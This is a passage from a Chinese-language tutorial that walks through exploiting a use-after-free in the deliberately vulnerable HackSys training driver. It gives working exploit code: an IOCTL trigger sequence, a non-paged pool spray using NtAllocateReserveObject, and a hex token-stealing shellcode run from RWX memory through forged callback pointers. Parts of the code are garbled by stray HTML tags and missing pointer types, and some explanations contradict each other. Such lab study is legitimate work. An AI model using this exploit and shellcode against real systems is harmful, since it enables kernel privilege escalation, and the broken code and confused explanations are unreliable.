} // 检查分配是否成功: 如果 KernelFakeObject 仍为 NULL,则输出错误信息并将状态设置为内存不足,然后返回状态
else {
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", sizeof(FAKE_OBJECT));
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject);
} // 分配成功则输出相关信息
// Verify if the buffer resides in user mode
ProbeForRead((PVOID)UserFakeObject, sizeof(FAKE_OBJECT), (ULONG)__alignof(FAKE_OBJECT));
// 调用 ProbeForRead 函数,检查 UserFakeObject 指向的内存区域是否位于用户模式且可读
//ProbeForRead 是一个用于检查内存区域是否可以安全访问的内核函数, 它验证了用户模式的指针是否指向可以从内核模式读取的内存区域, 这么做是为了进行安全检查,以防止潜在的安全问题和崩溃。
//ProbeForRead 函数接收以下三个参数:
//(PVOID)UserFakeObject:要检查的内存区域的起始地址, 在这里,我们检查由 UserFakeObject 指针指向的内存区域。
//sizeof(FAKE_OBJECT):要检查的内存区域的大小, 因为我们需要读取整个 FAKE_OBJECT 结构,所以使用 sizeof(FAKE_OBJECT) 来获取其大小。
//(ULONG)__alignof(FAKE_OBJECT):内存区域的对齐要求, __alignof 是一个编译器内置函数,用于获取指定类型的对齐要求, 所以这里,我们获取 FAKE_OBJECT 类型的对齐要求,确保内存区域满足这一要求。
//如果 ProbeForRead 函数成功执行,说明 UserFakeObject 指向的内存区域是可以从内核模式安全读取的, 即在后续的操作中,我们可以将用户空间的 UserFakeObject 数据安全地复制到内核空间的 KernelFakeObject; 如果 ProbeForRead 检测到问题,它将引发一个异常,异常会被 __except 块捕获并处理。
RtlCopyMemory((PVOID)KernelFakeObject, (PVOID)UserFakeObject, sizeof(FAKE_OBJECT));
//使用 RtlCopyMemory 函数将用户传入的伪造结构(UserFakeObject)复制到内核空间的 FakeObject (KernelFakeObject), 我们传递了三个参数给 RtlCopyMemory 函数:
//(PVOID)KernelFakeObject:目标地址,即内核空间中的 KernelFakeObject 指针;
//(PVOID)UserFakeObject:源地址,即用户空间中的 UserFakeObject 指针;
//sizeof(FAKE_OBJECT):要复制的字节数,这里是 FAKE_OBJECT 结构的大小;
//RtlCopyMemory 函数在内核中执行内存复制操作,从源地址(UserFakeObject)开始复制 sizeof(FAKE_OBJECT) 字节的数据到目标地址(KernelFakeObject), 这样,我们就将用户空间中的 FakeObject 安全地复制到了内核空间,通过这种方式,我们确保了内核空间中的 FakeObject 与用户传入的伪造结构具有相同的数据。
KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';
//这一行代码将 KernelFakeObject 中的 Buffer 数组的最后一个字符设置为 '\0'(空字符),确保字符串在内存中以空字符结尾。
//KernelFakeObject->Buffer:访问 KernelFakeObject 结构中的 Buffer 成员,这是一个字符数组;
//sizeof(KernelFakeObject->Buffer):使用 sizeof 运算符计算 Buffer 数组的大小(以字节为单位), 这将给出数组的总长度;
//sizeof(KernelFakeObject->Buffer) - 1:将数组长度减 1,以获得数组中最后一个元素的索引, 因为数组索引是从 0 开始的,所以需要减 1;
//KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';:将数组的最后一个元素设置为空字符('\0'),这样一来,Buffer 就成了一个空终止字符串,防止了潜在的字符串溢出错误;
//通过在 KernelFakeObject 的 Buffer 数组末尾添加空字符,我们确保了在处理该字符串时不会超出其实际长度,从而提高了程序的安全性和稳定性。
DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);
//输出一条调试信息,显示已创建的 FakeObject KernelFakeObject 在内核空间中的地址
}
__except (EXCEPTION_EXECUTE_HANDLER) { //输出异常
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
FakeObject 的大小与 UseAfterFreeObject 相同,它包含一个0x58大小的缓冲区,也就是说我们只需填充缓冲区的前4个字节,将其设置为一个地址,最终这个地址会被解释为一个函数指针。
为了实现UaF漏洞利用,需要在释放 UseAfterFreeObject 之后创建一个 FakeObject ,因为 UseAfterFreeObject 和 FakeObject 大小相同,它们可以占据相同的内存空间;
当 UseAfterFreeObject 被释放后, FakeObject 可以占据其内存空间,使得当再次使用 UseAfterFreeObject 时,实际上使用的是 FakeObject 。
在这个例子中,我们会将 FakeObject 的首个DWORD(前4个字节)被设置为恶意代码(payload)的地址(函数指针),用 FakeObject 占据原先的内存空间, 当 UseAfterFreeObject 再次被使用时,实际上操作的是 FakeObject ,而 FakeObject 的回调函数指针指向了恶意代码,这就实现了对恶意代码的执行,之所以可以这样做漏洞利用,是因为我们能够预测并控制 FakeObject 在内存中的布局,使其与 UseAfterFreeObject 的布局相同 ,在这种情况下,我们可以确保伪造对象的回调函数指针指向我们想要执行的恶意代码, 缓冲区的剩余部分与做漏洞利用不相关,因为在此例中我们不关心它们的值,只关心回调函数指针。
UseAfterFreeObject 的结构定义如下:
typedef struct _USE_AFTER_FREE {
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE, *PUSE_AFTER_FREE;
//当我们填充缓冲区的前4个字节时,我们实际上是在伪造一个与 UseAfterFreeObject 结构相似的对象,该结构体包含一个回调函数指针(FunctionPointer Callback)和一个大小为0x54的缓冲区(CHAR Buffer[0x54]),根据前面学习的能容,我们可以想到内存布局是,先是回调函数指针,再接着是缓冲区;
//所以当我们填充伪造对象缓冲区的前4个字节时,我们实际上是在设置回调函数指针的值。
typedef struct _FAKE_OBJECT { // FakeObject
CHAR Buffer[0x58]; // 0x58
} FAKE_OBJECT, *PFAKE_OBJECT;
''''
DeviceIoControl函数:
它是Windows操作系统中的一个API函数,用于向设备驱动程序发送I/O控制代码(Input/Output Control Codes,缩写为IOCTLs), 这个函数允许应用程序与设备驱动程序进行交互,发送控制代码以执行特定的操作,如读取、写入或配置设备。
DeviceIoControl函数的原型如下:
BOOL DeviceIoControl(
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
);
参数解释:
hDevice:一个已打开的设备驱动程序的句柄,通常通过CreateFile函数获取;
dwIoControlCode:要发送给设备驱动程序的I/O控制代码;
lpInBuffer:一个指向输入缓冲区的指针,该缓冲区包含要发送给设备驱动程序的数据, 如果操作不需要输入数据,则此参数可以为NULL;
nInBufferSize:输入缓冲区的大小(以字节为单位);
lpOutBuffer:一个指向输出缓冲区的指针,该缓冲区接收设备驱动程序返回的数据, 如果操作不需要返回数据,则此参数可以为NULL;
nOutBufferSize:输出缓冲区的大小(以字节为单位);
lpBytesReturned:一个指针,指向一个变量,该变量接收设备驱动程序返回的实际数据字节数;
lpOverlapped:一个指向OVERLAPPED结构的指针,用于异步操作, 对于同步操作,此参数可以为NULL;
当成功时,DeviceIoControl函数返回非零值, 如果函数失败,它将返回0,并通过GetLastError函数提供更多错误信息。
''''
我们接下来将会使用DeviceIoControl函数与设备驱动程序交互,例如会使用不同的IOCTL(I/O控制代码)来执行针对设备驱动程序的不同操作,如分配、释放和使用UAF(Use-After-Free)对象;
DWORD inBuffSize = 1024; //定义输入缓冲区大小为1024字节
DWORD bytesRet = 0; //定义一个变量bytesRet,用于存储DeviceIoControl函数返回的字节数
BYTE inBuffer = (BYTE) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, inBuffSize);
//在进程堆上分配1024字节的内存,用于输入缓冲区,将分配的内存地址赋值给inBuffer指针
//GetProcessHeap(): 此函数获取当前进程的默认堆句柄, 在本例中,这个堆将被用于分配内存;
//HEAP_ZERO_MEMORY: 此标志表示在分配内存时,将内存块中的所有字节初始化为零;
//inBuffSize: 这是我们要分配的内存块的大小(在这里是1024字节);
//HeapAlloc(): 此函数用于在指定的堆上分配内存, 它接收3个参数:1.要在其上分配内存的堆句柄,2.分配选项(在本例中为HEAP_ZERO_MEMORY),3.以及要分配的内存的大小(字节数);
//(BYTE*): 这是一个类型转换,它将HeapAlloc函数返回的指针转换为一个BYTE类型的指针, 因为HeapAlloc返回的是一个void指针,因此需要将其转换为与目标类型匹配的指针;
//将整个表达式放在一起,这段代码在当前进程的堆上分配了inBuffSize(1024)字节的内存,并将分配的内存地址转换为一个BYTE指针,然后赋值给inBuffer, 并且分配的内存中的所有字节都被初始化为零,因为我们使用了HEAP_ZERO_MEMORY标志。
RtlFillMemory(inBuffer, inBuffSize, 'A');
//使用RtlFillMemory函数将inBuffer指向的内存块填充为字符'A':
//inBuffer: 这是一个BYTE指针,它指向之前分配的内存块(大小为inBuffSize,即1024字节);
//inBuffSize: (输入缓冲区的大小)要填充的内存块的大小(字节数),1024字节;
//'A': 要填充到内存块的字符;
//RtlFillMemory(): 该函数用于将指定的内存块填充为指定的字符, 它接收3个参数:1.指向要填充的内存块的指针,2.要填充的内存块的大小(字节数),3.以及要填充的字符;
BOOL status = DeviceIoControl(dev, HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT,
inBuffer, inBuffSize,
NULL, 0, &bytesRet, NULL);
//这段代码使用DeviceIoControl函数向设备驱动程序发送一个IOCTL请求,请求分配一个UAF对象,并将返回的操作状态存储在名为status的变量中:
//dev: 这是一个设备驱动程序的句柄,通过CreateFile函数获取, 这个句柄用于与设备驱动程序进行通信;
//HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT: 这是一个IOCTL代码,表示我们希望执行的操作,即分配一个UAF对象;
//NULL: 这是输出缓冲区的指针, 在这个例子中,我们不需要设备驱动程序返回任何数据,所以设置为NULL;
//0: 这是输出缓冲区的大小。因为我们没有输出缓冲区,所以设置为0;
//&bytesRet: 这是一个指向DWORD变量的指针,用于接收设备驱动程序实际返回的字节数, 在这个例子中,我们不关心返回的字节数,但仍需要提供一个变量的地址。
/***
DWORD bytesRet = 0;:前面我们声明了一个DWORD类型的变量bytesRet并将其初始化为0, DWORD是一个无符号的32位整数类型;
&bytesRet:但在这行代码里,我们使用&操作符获取bytesRet变量的地址, 得到的结果是一个指向DWORD变量的指针,即一个DWORD*类型的值, 在这行代码里这个指针作为DeviceIoControl函数的其中一个参数使用;
当DeviceIoControl函数执行完毕时,它将通过bytesRet指针将返回的字节数写入到bytesRet变量中, 这意味着,当函数返回时,bytesRet变量将包含设备驱动程序实际返回的字节数;
尽管在这个示例中我们没有使用bytesRet变量,但它对于了解设备驱动程序返回了多少数据是有用的, 有些实际应用场景例如,向设备驱动程序请求一定数量的数据,并且想要检查实际返回了多少数据,那么bytesRet变量就可以提供这些信息。
***/
//NULL: 这是一个指向OVERLAPPED结构的指针, 这个参数用于异步操作,但在这个例子中,我们执行的是同步操作,所以设置为NULL;
//BOOL status: 这是DeviceIoControl函数的返回值, 如果函数成功执行,它将返回TRUE,否则返回FALSE, 在这个例子中,我们将返回值存储在名为status的变量中。
status = DeviceIoControl(dev, HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT,
inBuffer, inBuffSize,
NULL, 0, &bytesRet, NULL);
//向设备驱动程序发送一个控制码 HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT,以释放先前分配的UAF对象, 由于执行完这行代码后,UAF 对象将被释放,但仍然存在一个指向该对象的悬空指针, 接下来,我们只需要分配一个恶意对象,以便在后续使用 UAF 对象时,能够利用这个悬空指针做漏洞利用。
/***
在这里可以分配恶意对象
分配 UAF 对象
+----------------+ +----------------------+
| UAF 对象指针 |------>| UAF 对象 (0x58 字节) |
+----------------+ +----------------------+
释放 UAF 对象
+----------------+ +----------------------+
| UAF 对象指针 |------>| (空闲内存) |
+----------------+ +----------------------+
分配恶意对象 (我们假设它与之前的 UAF 对象在内存中的位置相同)
+----------------+ +----------------------+
| UAF 对象指针 |------>| 恶意对象 (0x58 字节) |
+----------------+ +----------------------+
使用悬空指针 (UAF 对象指针),此时它指向恶意对象
+----------------+ +----------------------+
| UAF 对象指针 |------>| 恶意对象 (0x58 字节) |
+----------------+ +----------------------+
如上图所示,在释放 UAF 对象后,UAF 对象指针仍然指向该内存区域, 然后,当我们分配恶意对象时,假设它占据了与之前释放的 UAF 对象相同的内存位置。接下来,当我们尝试使用 UAF 对象时,实际上会使用恶意对象,从而实现漏洞利用。
***/
status = DeviceIoControl(dev, HACKSYS_EVD_IOCTL_USE_UAF_OBJECT,
inBuffer, inBuffSize,
NULL, 0, &bytesRet, NULL);
//发送给驱动程序控制码,告诉驱动程序尝试使用 UAF 对象, 由于前面我们已经释放了该对象,并分配了一个恶意对象,所以当执行这行代码时,驱动程序会尝试使用已释放的 UAF 对象,而实际上是在使用我们分配的恶意对象,这就是所谓的触发漏洞,并允许我们利用悬空指针做到了Uaf Pwn。
非分页池堆喷:
我们的目的是在UAF对象被释放之前,替换先前UAF对象所拥有的内存地址中的函数指针,如果能直接填充内存地址就最好不过了,我们要实现这一目的的话需要准备非分页池的内存布局,也就是说我们可以通过控制非分页池中的内存块,来确保UAF对象在分配时填充了我们想要的内存位置,等到UAF对象被释放后,我们就有机会替换它的内存地址中的函数指针,从而实现攻击。
在漏洞利用上,可以使用"非分页池堆喷"技术,旨在非分页池中创建大约0x58大小的内存块(这个大小需要与被利用的UAF对象的大小匹配),我们用这些对象填充非分页池,然后通过释放一些对象创建大约0x58大小的空闲块(holes)。
当UAF对象被分配时,它应该填充已释放对象打开的空闲块,然后当UAF对象被释放时,所有空闲块都可以填充假对象(包含指向我们恶意有效负载的函数指针),增加假对象覆盖UAF对象指针所指向内存的概率。
为了创建大小合适的内存块,我们应该使用任何一个大小大约是为0x58的对象, 比如使用NtAllocateReserveObject函数分配的IoReserveObject正好是0x60大小,这对于我们来做非分页池堆喷是符合要求的,(请注意,为了分配IoReserveObject,必须将对象类型ID 1 作为最后一个参数传递),
ps: IoReserveObject是一种内存对象,可以通过调用NtAllocateReserveObject函数分配, 在分配IoReserveObject时,必须将对象类型ID 1作为最后一个参数传递,以便正确分配IoReserveObject;
对象有很多种类型,包括文件对象、事件对象、信号量对象、设备对象等等, 每种类型的对象都有一个唯一的对象类型ID,用于标识该对象的类型, 在分配对象时,必须提供对象类型ID,以指示系统应该分配哪种类型的对象, 对于分配IoReserveObject,必须将对象类型ID 1作为最后一个参数传递给NtAllocateReserveObject函数, 是用来以指示系统分配IoReserveObject类型(设备对象类型)的对象。
但尝试使用NtAllocateReserve函数存在一个问题,即没有windows API函数可以调用它, 所以我们需要从ntdll.dll中获取该函数的地址,ntdll.dll是一个包含所有NT windows内核函数的dll,我们可以使用GetModuleHandle函数获取ntdll.dll,并使用GetProcAddress函数从dll中获取NtAllocateReserve的地址。
也就是说我们需要能够将GetProcAddress返回的地址转换为代表NtAllocateReserveObject的函数指针,为此,我们必须设置以下定义:
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
//定义了一个结构体 _LSA_UNICODE_STRING,用于存储字符串, 它有三个字段:
//Length 表示字符串的长度
//MaximumLength 表示字符串的最大长度
//Buffer 是指向字符串的指针
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
UNICODE_STRING* ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
//定义了另一个结构体 _OBJECT_ATTRIBUTES,用于存储对象的属性, 它有六个字段:
//Length 表示结构体的长度
//RootDirectory 表示根目录的句柄
//ObjectName 是指向字符串的指针,表示对象的名称
//Attributes 表示对象的属性
//SecurityDescriptor 是指向安全描述符的指针
//SecurityQualityOfService 是指向安全质量服务的指针
// Basically declares a function pointer to the NtAllocateReserveObject
typedef NTSTATUS(WINAPI *_NtAllocateReserveObject)(
OUT PHANDLE hObject,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN DWORD ObjectType);
//定义了一个名为 _NtAllocateReserveObject 的函数指针, 这个指针指向 NtAllocateReserveObject 函数,并且可以用于在代码中调用该函数, 让我们看看这个函数的参数:
//hObject:一个输出参数,用于存储分配的内存对象的句柄
//ObjectAttributes:一个指向 OBJECT_ATTRIBUTES 结构的指针,用于指定对象的属性
//ObjectType:一个整数,用于指定要分配的对象类型。
//这段代码的作用是定义了一个函数指针,指向了 NtAllocateReserveObject 函数,这个函数可以用于分配内存对象,参数 hObject 存储分配的对象的句柄,ObjectAttributes 指定对象的属性,ObjectType 指定分配的对象类型。
我们可以这样获取函数 NtAllocateReserveObject 的地址:
这样,代码就可以通过调用 NtAllocateReserveObject 变量来调用 NtAllocateReserveObject 函数,而不需要每次调用 GetProcAddress 函数。
_NtAllocateReserveObject NtAllocateReserveObject =
(_NtAllocateReserveObject)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateReserveObject"));
整个过程大概是这样:
非分页池堆喷
|
|-- UAF对象
| |-- 替换函数指针
|
|-- 非分页池
| |-- 准备内存布局
|
|-- 堆喷技术
| |-- 创建0x58大小的内存块
| |-- 填充非分页池
| |-- 通过释放一些对象创建空闲块
|
|-- UAF对象分配
| |-- 填充释放对象后打开的空闲块
|
|-- UAF对象释放
| |-- 用伪造对象填充空闲块
| |-- 恶意载荷(payload)
|
|-- 合适大小的内存块
| |-- IoReserveObject (0x60大小)
| |-- NtAllocateReserveObject函数
| |-- 对象类型ID 1
|
|-- NtAllocateReserve函数
| |-- 没有Windows API函数
| |-- 从ntdll.dll获取地址
| |-- GetModuleHandle函数
| |-- GetProcAddress函数
|
|-- 转换地址
| |-- NtAllocateReserveObject的函数指针
| |-- 设置定义
继续看代码,
std::pairstd::vector<HANDLE, std::vector<handle>> spray_pool(int objects_n){
//定义了一个名为 spray_pool 的函数,它接受一个整数参数 objects_n,并返回一个 std::pair 类型的对象;
//std::pair 对象包含两个 std::vector<handle> 类型的向量, 这两个向量分别存储分配的堆碎片整理对象(defrag objects)和连续对象(sequential objects)的句柄。</handle></handle>
int defrag_n = 0.25 * objects_n;
int seq_n = objects_n - defrag_n;
//这两行代码是用来计算两个整数值 defrag_n 和 seq_n,它们分别表示在内存池中进行碎片整理所需对象的数量以及顺序分配对象的数量:
//int defrag_n = 0.25 * objects_n;:这一行代码将 objects_n(传递给 spray_pool 函数的整数参数)乘以 0.25,得到需要用于内存碎片整理的对象数量。这意味着我们将使用总对象数量的四分之一来进行碎片整理, 将计算结果赋值给 defrag_n 变量。注意:虽然我们将 objects_n 乘以一个浮点数(0.25),但由于 defrag_n 是一个整数,因此结果将被截断为整数。
//int seq_n = objects_n - defrag_n;:这一行代码通过将总对象数量 objects_n 减去用于碎片整理的对象数量 defrag_n,来计算用于顺序分配的对象数量。将计算结果赋值给 seq_n 变量。通过这两个值,我们可以将总对象数量分为两部分:一部分用于整理内存碎片(defrag_n),另一部分用于顺序分配(seq_n),在接下来的代码中,我们将根据这两个值来分配和处理内存对象。
/***
这两行代码的目的是将内存池喷洒任务划分为两个部分:内存碎片整理和顺序分配, 这种划分是为了提高利用UAF(Use-After-Free)漏洞的成功率。
内存碎片整理(defrag_n):这部分的目标是在内存池中创建连续的空闲空间, 通过分配一些对象(在这里是总对象数量的四分之一)并稍后释放它们,我们可以使内存池中的空闲空间变得更加连续, 这有助于提高我们接下来的顺序分配操作的成功率,因为它使得分配的对象更可能在内存中紧密相邻。
顺序分配(seq_n):在内存碎片整理之后,我们会执行顺序分配, 顺序分配意味着我们将分配一系列的对象,这些对象在内存中是紧密相邻的。通过这种方式,我们提高了UAF对象在释放后被我们所控制的假对象覆盖的可能性, 当我们成功地覆盖了UAF对象,我们就可以在其中插入恶意的函数指针,从而利用UAF漏洞。
所以说这两行代码通过计算defrag_n和seq_n的值,将喷洒任务划分为两个部分,以提高利用UAF漏洞的成功率;这里选择使用四分之一的对象进行碎片整理是一种启发式策略,可以根据实际情况进行调整。
***/
// 输出分配的堆碎片整理对象和连续对象的数量
std::cout << "Number of defrag objects to allocate: " << defrag_n << "\n";
std::cout << "Number of sequential objects to allocate: " << seq_n << "\n";
// 定义两个向量,分别用于存储分配的堆碎片整理对象和连续对象的句柄
std::vector<HANDLE> defrag_handles;
std::vector<HANDLE> seq_handles;
// 从 ntdll.dll 获取 NtAllocateReserveObject 函数的地址
_NtAllocateReserveObject NtAllocateReserveObject =
(_NtAllocateReserveObject)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateReserveObject"));
// 如果无法获取 NtAllocateReserveObject 函数,退出程序
if (!NtAllocateReserveObject){
std::cout << "Could not get NtAllocateReserveObject\n";
exit(1);
}
// 分配堆碎片整理对象,并将句柄存储到 defrag_handles 向量中
for (int i = 0; i < defrag_n; i++){
HANDLE handle = 0;
PHANDLE result = (PHANDLE)NtAllocateReserveObject((PHANDLE)&handle, NULL, 1);
defrag_handles.push_back(handle);
}
// 分配连续对象,并将句柄存储到 seq_handles 向量中
for (int i = 0; i < seq_n; i++){
HANDLE handle = 0;
PHANDLE result = (PHANDLE)NtAllocateReserveObject((PHANDLE)&handle, NULL, 1);
seq_handles.push_back(handle);
}
// 输出已分配的堆碎片整理对象和连续对象的数量
std::cout << "Allocated " << defrag_handles.size() << " defrag objects\n";
std::cout << "Allocated " << seq_handles.size() << " sequential objects\n";
// 将两个向量组成的 pair 返回给调用者
return std::make_pair(defrag_handles, seq_handles);
}
定义了一个名为 spray_pool 的函数,其作用是通过分配大量对象来改变非分页内存池的布局,以便预测 UAF(释放后重用)对象如何被分配, 这个函数接受一个整数参数 objects_n,表示用于喷射非分页池的对象总数;
该函数首先将对象总数的四分之一用于堆碎片整理(defragmentation),剩余部分用于连续堆分配。接下来,创建两个向量 defrag_handles 和 seq_handles,分别用于存储堆碎片整理对象和连续对象的句柄;
然后,函数通过调用 GetModuleHandleA 和 GetProcAddress 函数,获取 ntdll.dll 中的 NtAllocateReserveObject 函数的地址,并将其转换为相应的函数指针类型 _NtAllocateReserveObject;
接下来的两个循环分别用于分配堆碎片整理对象和连续对象。在每个循环中,通过调用 NtAllocateReserveObject 函数来分配对象,并将分配的对象句柄添加到相应的向量中。需要注意的是,在调用 NtAllocateReserveObject 函数时,需要将最后一个参数设置为 1,以分配 IoCompletionReserve 对象;
分配完成后,函数输出分配的堆碎片整理对象和连续对象的数量。最后,使用 std::make_pair 创建一个包含两个向量的 std::pair 对象,并将其返回。这样,调用 spray_pool 函数的其他代码可以根据需要决定释放哪些对象。
我们要理解代码作用是用于分配内存对象,并将分配到的对象句柄存储在两个向量中, 输入的参数 objects_n 表示需要分配的对象的数量。代码中首先计算出需要使用 1/4 的数量来整理堆,其余的数量用于顺序分配内存,然后创建两个空的向量用于存储分配到的对象的句柄,一个向量用于存储整理堆所分配的对象,另一个用于存储顺序分配的对象。在代码中,首先获取函数 NtAllocateReserveObject 的地址,然后使用该函数来分配内存对象,并将句柄存储到相应的向量中, 最后该函数返回一个 std::pair 对象,其中包含了整理堆所分配的对象句柄向量和顺序分配对象句柄向量;
将分配到的对象句柄存储在两个向量中,是为了可以方便后续的操作, 这段代码中分配的对象句柄被存储在名为defrag_handles和seq_handles的两个向量中的目的是为了,
这些对象句柄可以在需要时被访问,以对其进行操作或释放。例如,当需要释放内存对象时,我们就可以使用句柄来执行此操作,
在日常编程中,通过在两个向量中存储对象句柄,可以将对象按照不同的类型或用途进行分类,以便于管理和维护。
理解了这些,我们就可以调用spray_pool函数,使用句柄向量来释放顺序分配中每隔一个的句柄:
(在进行顺序分配时,可以利用先前分配的句柄向量中的每隔一个的句柄来释放相应的内存对象, 每隔一个的句柄指的是在顺序分配时,我们从先前分配的对象句柄向量中选取每隔一个句柄进行释放,这样就可以在内存池中创建空闲块以便后续利用)
'''
对于这段代码中的顺序分配,实际上是一种连续分配内存的方式, 在这个过程中,我们创建了一个大小为 objects_n 的对象数组,并将它们依次分配到连续的内存地址上;
因此,每个对象都有一个对应的句柄,可以通过该句柄引用该对象。当我们说“顺序分配中每隔一个的句柄”时,意思是从该对象数组的第二个元素开始,每隔一个对象,也就是取出数组中所有索引为奇数的元素,这些元素对应的句柄就是我们需要释放的;
在这个具体的例子中,我们想要释放顺序分配中每隔一个句柄,因此我们需要释放索引为奇数的句柄, 这是因为在C++中,数组和向量的索引是从0开始的,因此第一个元素的索引是0,第二个元素的索引是1,以此类推当我们说“每隔一个”时,实际上是要跳过一个元素,因此我们需要释放索引为奇数的元素。例如,我们需要释放向量{0, 1, 2, 3, 4, 5}中的元素1、3、5;
在这个特定的漏洞攻击中,释放元素是为了创建内存池中的空闲块(holes),让攻击者可以在这些空闲块中放置任意数据,从而执行进一步的攻击。在这里,释放顺序分配中每隔一个的句柄是因为在顺序分配中,每隔一个句柄都指向一个新的对象。因此,释放每隔一个句柄就会在内存池中创建一个间隔对象,形成所需的空闲块也就是前面说的内存空隙。释放偶数元素不会创建空闲块,因为它们指向已经被使用的对象。
涉及到具体的内存分配和使用的实现细节通常情况下,操作系统会为一个进程分配一块连续的虚拟内存地址空间,而应用程序可以通过系统调用向操作系统请求内存空间。操作系统会根据请求的大小为应用程序分配一块物理内存,并把虚拟地址映射到这块物理内存上;
内存分配器在管理应用程序申请的内存时,通常也会按照一定的策略从操作系统请求一块连续的虚拟内存地址空间,并将这个空间划分成一些小块,用于满足应用程序对内存的分配请求。在这个过程中,操作系统为这些小块虚拟地址分配了物理内存,但是这些小块可能并不是在物理内存中是连续的。也就是说,应用程序在使用这些小块时,可能会涉及到虚拟内存到物理内存的映射,而操作系统会为此维护一张页表;
根据具体的实现方式,内存分配器可能会采用不同的算法来管理这些小块内存。例如,一些内存分配器可能会使用链表来组织这些小块内存,以便能够快速地查找空闲块。在这种情况下,偶数元素可能指向已经被使用的对象,而奇数元素可能是空闲块。如果应用程序使用了这种内存分配器,那么释放奇数元素对应的内存块就能够创建空闲块,从而使得应用程序能够再次使用这些内存块;
需要注意的是,具体的实现细节可能因操作系统、内存分配器的版本等因素而有所不同。
'''
std::cout << "Spraying the pool\n"; //输出提示信息:表示正在对内存池进行分配
std::pairstd::vector<HANDLE, std::vector<handle>> handles = spray_pool(poolAllocs);
//调用了函数 spray_pool,并将返回的结果保存到了 handles 中; 前面学过spray_pool 函数是用于分配内存对象的,它返回了两个 std::vector<handle> 向量,分别保存了顺序分配和碎片整理所分配的对象句柄</handle></handle>
std::cout << "Creating " << handles.second.size() << " holes\n"; //输出提示信息:表示要在内存池中创建“空闲块”
for (int i = 0; i < handles.second.size(); i++){
if (i % 2){
CloseHandle(handles.second[i]);
handles.second[i] = NULL;
}
}
//这个 for 循环中,通过遍历 handles.second 这个保存了顺序分配对象句柄的向量。在循环内部,if (i % 2) 的条件判断会使得我们只对那些奇数下标的对象句柄进行操作。然后,我们使用 CloseHandle 函数来释放该句柄,最后将该句柄的值设置为 NULL, 这个过程就是为了在内存池中制造空隙,为后续的漏洞利用做准备。
接下来,我们需要分配内存来存储恶意载荷(payload),并创建一堆指向它的虚假对象;
在做Windows漏洞利用中,我们可以使用VirtualAlloc来分配内存,一旦为恶意载荷(payload)分配了一些虚拟地址空间,我们就可以促使驱动程序分配所需的用于执行恶意载荷的虚假对象,用以填满前面创建的所有空闲块,最终这些虚假对象将被放置在我们先前释放的奇数句柄处,因为它们指向以前已经被使用的对象,这些对象现在已经被释放并可以被重新使用了;
我们可以将这些句柄存储在向量中以便之后使用, 最后,我们可以使用DeviceIoControl调用,将虚假对象指针写入内核中,从而实现对驱动程序的攻击。
(ps:在前面的步骤中,我们释放了一些奇数对象句柄,这些句柄对应的奇数对象已经不再使用, 这些被释放的奇数对象现在已经成为奇数空闲块,可以重新用于分配新的内存。而之后我们创建的虚假对象的指针被设置为这些奇数空闲块的起始地址,所以我们可以重新使用这些奇数空闲块来存储新的虚假对象。这样,我们就可以用新的虚假对象来覆盖原来的被释放的奇数对象了,这样就可以实现对驱动程序的攻击)
char payload[] = (
"\x60"
"\x64\xA1\x24\x01\x00\x00"
"\x8B\x40\x50"
"\x89\xC1"
"\x8B\x98\xF8\x00\x00\x00"
"\xBA\x04\x00\x00\x00"
"\x8B\x80\xB8\x00\x00\x00"
"\x2D\xB8\x00\x00\x00"
"\x39\x90\xB4\x00\x00\x00"
"\x75\xED"
"\x8B\x90\xF8\x00\x00\x00"
"\x89\x91\xF8\x00\x00\x00"
"\x61"
"\xC3"
);
DWORD payloadSize = sizeof(payload);
LPVOID payloadAddr = VirtualAlloc(NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
//使用VirtualAlloc函数为恶意代码分配内存,返回内存的起始地址,这里使用了MEM_COMMIT和MEM_RESERVE选项来申请内存,PAGE_EXECUTE_READWRITE参数允许内存的读、写和执行操作
memcpy(payloadAddr, payload, payloadSize);
LPVOID payloadAddrPtr = &payloadAddr;
std::cout << "Payload address is: " << payloadAddr << '\n';
//将恶意代码的二进制指令拷贝到申请到的内存中,打印出该内存块的起始地址
DWORD totalObjectSize = 0x58;
BYTE payloadBuffer[0x58] = {0};
memcpy(payloadBuffer, payloadAddrPtr, 4);
//定义一个大小为0x58字节的虚假对象结构体的缓冲区,将缓冲区的前四个字节设置为恶意代码的起始地址
std::cout << "Allocating fake objects\n"; //正在分配虚假对象
std::cout << "Allocating " << handles.second.size() / 2 << " fake objects\n"; //分配的虚假对象数量
for (int i = 0; i < handles.second.size() / 2; i++){
status = DeviceIoControl(dev, HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT,
payloadBuffer, totalObjectSize, NULL,
0, &bytesRet, NULL);
}
